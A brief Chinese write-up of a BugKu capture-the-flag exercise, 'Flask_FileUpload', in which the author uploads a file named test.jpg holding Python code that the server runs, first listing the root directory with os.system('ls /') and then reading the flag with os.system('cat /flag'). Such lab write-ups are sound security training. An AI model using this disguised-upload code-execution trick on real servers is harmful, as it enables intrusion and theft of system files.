BugKu练习记录12：Flask_FileUpload

题目：

查看网页源代码

显示需要提交一个name为file，后缀为jpg或png的文件
新建一个文件test.jpg，写入代码

import os
os.system('ls / ')

提示提交成功，没有跳出flag，查看网页源代码

发现执行成功，有flag文件，更改代码，得到答案。

import os
os.system('cat /flag ')